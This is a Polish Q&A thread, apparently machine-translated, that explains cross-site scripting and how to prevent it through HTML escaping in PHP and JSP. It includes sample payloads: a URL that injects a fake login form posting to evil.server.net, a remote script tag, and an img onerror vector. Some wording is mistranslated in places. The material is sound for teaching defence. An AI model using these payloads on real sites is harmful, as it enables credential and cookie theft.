Jaka jest ogólna koncepcja XSS?

Jako, że odpowiedzi na temat tego, jak XSS może być złośliwy są już podane, wrzucę tylko dwa ładne flashowe wprowadzenia na XSS i odpowiem na następujące pytanie pozostawione bez odpowiedzi:

Jak mogę zapobiec pojawieniu się XSS na moich stronach internetowych ?

Oto dwa miłe wstępy flash o XSS:

• https://www.virtualforge.com/vmovie/xss_lesson_1/xss_selling_platform_v1.0.swf
• https://www.virtualforge.com/vmovie/xss_lesson_2/xss_selling_platform_v2.0.swf

Aby zapobiec XSS, musisz HTML-escape dowolny kontrolowany przez użytkownika wejście, gdy mają być ponownie wyświetlane na stronie. Obejmuje to nagłówki żądań, parametry żądań i wszelkie przechowywane dane wejściowe sterowane przez Użytkownika, które mają być obsługiwane z bazy danych. Szczególnie <, >, " i ' musi być zabezpieczony, ponieważ może zniekształcić otaczający kod HTML, w którym to wejście zostało ponownie wyświetlone.

Prawie każda technologia widoku zapewnia wbudowane sposoby ucieczki HTML (lub XML, to również wystarczy) encji.

W PHP możesz to zrobić za pomocą htmlspecialchars(). Np.

<input name="foo" value="<?php echo htmlspecialchars($foo); ?>">

Jeśli chcesz uciec z pojedynczymi cytatami, musisz podać argument ENT_QUOTES, Zobacz też dokumentacja PHP.

W JSP możesz to zrobić z JSTL <c:out> lub fn:escapeXml(). Np.

<input name="foo" value="<c:out value="${param.foo}" />">

Lub

<input name="foo" value="${fn:escapeXml(param.foo)}">

Zauważ, że w rzeczywistości nie musisz uciekać XSS podczas przetwarzania żądania, ale tylko podczas przetwarzania odpowiedzi. Funkcja Escaping podczas przetwarzania żądania nie jest potrzebna i Może zniekształcić dane wejściowe użytkownika prędzej czy później (a jako administrator witryny chciałbyś wiedzieć co dany użytkownik faktycznie wprowadził abyś mógł w razie potrzeby podejmować działania społeczne). Jeśli chodzi o SQL Injection, po prostu unikaj go tylko podczas przetwarzania żądania w momencie, gdy dane mają być utrzymywane w bazie danych.

Wyobraź sobie forum internetowe. Atak XSS może być taki, że robię post z jakimś javascript. Kiedy przeglądasz stronę, Twoja strona załaduje się i uruchomi js i zrobi to, co mówię. Ponieważ przeglądałeś stronę i najprawdopodobniej jesteś zalogowany, mój javascript zrobi wszystko, co masz uprawnienia, takie jak tworzenie postów, usuwanie postów, wstawianie spamu, wyświetlanie wyskakującego okienka itp.

Więc prawdziwym pojęciem z XSS jest skrypt wykonywany w twój kontekst użytkownika, który jest przywilejem eskalacja. Musisz uważać, aby w dowolnym miejscu w aplikacji, która odbiera dane użytkownika, uniknęły żadnych skryptów itp. w środku, aby upewnić się, że XSS nie może być zrobione.

Musisz uważać na ataki wtórne. Wyobraź sobie, że umieszczę złośliwy skrypt w mojej nazwie użytkownika. To może przejść do witryny niezaznaczone, a następnie odpisane z powrotem niezaznaczone, ale wtedy każda strona, która jest wyświetlana z moją nazwą użytkownika na to rzeczywiście uruchomić złośliwy skrypt w kontekście użytkownika.

Unikaj wprowadzania danych przez użytkownika. Nie przekręcaj kodu, żeby to zrobić. Sprawdź wszystko, co wchodzi i wychodzi.

Nie rozumiem, jak JS / VBscript może spowodować tyle szkód!

Jeśli witryna zdecyduje się nie przetwarzać szukanego ciągu i wyświetli go w wyniku, Jak "You search" somesearchstring " nie daje żadnych wyników, wtedy każdy może wprowadzić dowolny html do witryny. Na przykład:

http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input  name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>

Tak więc, w tym przypadku, strona będzie posłusznie wyświetlać fałszywy formularz logowania na stronie wyników wyszukiwania, a jeśli użytkownik go prześle, wyśle dane do złego niezaufanego serwera. Ale użytkownik tego nie widzi, esp. jeśli adres url jest naprawdę długi, zobaczą tylko pierwsze ale i zakładają, że mają do czynienia z trusted.server.com.

Zmiany obejmują wstrzykiwanie znacznika <script>, który dodaje procedury obsługi zdarzeń do dokumentu w celu śledzenia działań użytkownika, lub wysyłanie pliku cookie dokumentu do serwera evil. W ten sposób możesz mam nadzieję, że wpadniesz na poufne dane, takie jak login, hasło lub dane karty kredytowej. Możesz też spróbować wstawić specjalnie wystylizowany <iframe>, który zajmuje całe okno klienta i obsługuje witrynę, która wygląda jak oryginał, ale faktycznie pochodzi z evil.server.com. dopóki użytkownik zostanie oszukany, aby użyć wtryskiwanej treści zamiast oryginału, zabezpieczenie jest skompromitowane.

Ten typ XSS nazywa się refleksyjnym i nietrwałym. Refleksyjne, ponieważ adres url jest "przekierowany" bezpośrednio w odpowiedź i nietrwała, ponieważ rzeczywista strona nie jest zmieniona - służy tylko jako przejście. Zauważ, że coś takiego jak https nie oferuje żadnej ochrony - sama strona jest zepsuta, ponieważ papuguje wejście użytkownika przez ciąg zapytania.

Sztuką jest teraz, aby niczego nie podejrzewający użytkownicy ufali linkom, które im podajesz. Na przykład możesz wysłać im e-mail HTML i dołączyć atrakcyjnie wyglądający link, który wskazuje na podrobiony adres url. A może możesz to rozłożyć na wiki, fora itp. Jestem pewien, że możesz docenić, jak łatwe to naprawdę jest - to tylko link, co może pójść nie tak, prawda?

Czasami może być gorzej. Niektóre witryny faktycznie przechowują treści dostarczane przez użytkowników. Prosty przykład: komentarze na blogu lub wątki na forum. Albo może być bardziej subtelny: strona profilu użytkownika w sieci społecznościowej. Jeśli te strony pozwalają na dowolny html, esp. skrypt, a ten dostarczany przez użytkownika html jest przechowywany i powielany, wtedy każdy, kto po prostu odwiedza stronę, która zawiera ten zawartość jest zagrożona. To jest persistent XSS. Teraz użytkownicy nie muszą już nawet klikać łącza, wystarczy odwiedzić. Ponownie faktyczny atak polega na modyfikacji strony za pomocą skryptu w celu przechwycenia danych użytkownika.

Wtrysk skryptu może być tępy, na przykład można wstawić kompletny <script src="http://evil.server.net/script.js"> lub może być subtelny: <img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>.

Jeśli chodzi o to, jak się chronić: kluczem jest, aby nigdy nie wysyłać danych wejściowych użytkownika. Może to być trudne, jeśli witryna obraca się wokół treści dostarczanych przez użytkownika znaczniki.

Problemy ataków XSS są bardziej związane z połowami. Problem polega na tym, że witryna, której ufa klient, może zostać wstrzyknięta kodem, który prowadzi do witryny wykonanej przez atakującego w określonym celu. Na przykład kradzież poufnych informacji.

Więc w atakach XSS intruzi nie dostają się do bazy danych i nie zadzierają z nią. Bawi się poczuciem w kliencie, że ta strona jest Bezpieczna, a każdy link na niej wskazuje na bezpieczną lokalizację.

To tylko pierwszy krok prawdziwego ataku - aby doprowadzić klienta do wrogiego środowiska.

Mogę podać krótki przykład. Jeśli np. jakaś instytucja bankowa umieści shoutboxa na swojej stronie i nie przeszkodzi mi to w ataku XSS, to mogę krzyknąć " Hej wejdź w ten link i wpisz hasło i nr karty kredytowej do sprawdzenia bezpieczeństwa!" ... I wiesz, do czego doprowadzi ten link, prawda ?

Możesz zapobiec atakom XSS, upewniając się, że nie wyświetlasz na swojej stronie niczego, co pochodzi z wprowadzanie użytkowników bez uciekania się do znaczników html. Znaki specjalne powinny być unikane, aby nie zakłócały znaczników stron html (lub jakiejkolwiek technologii używanej przez użytkownika). Istnieje wiele bibliotek, które to zapewniają, w tym Biblioteka Microsoft AntiXSS.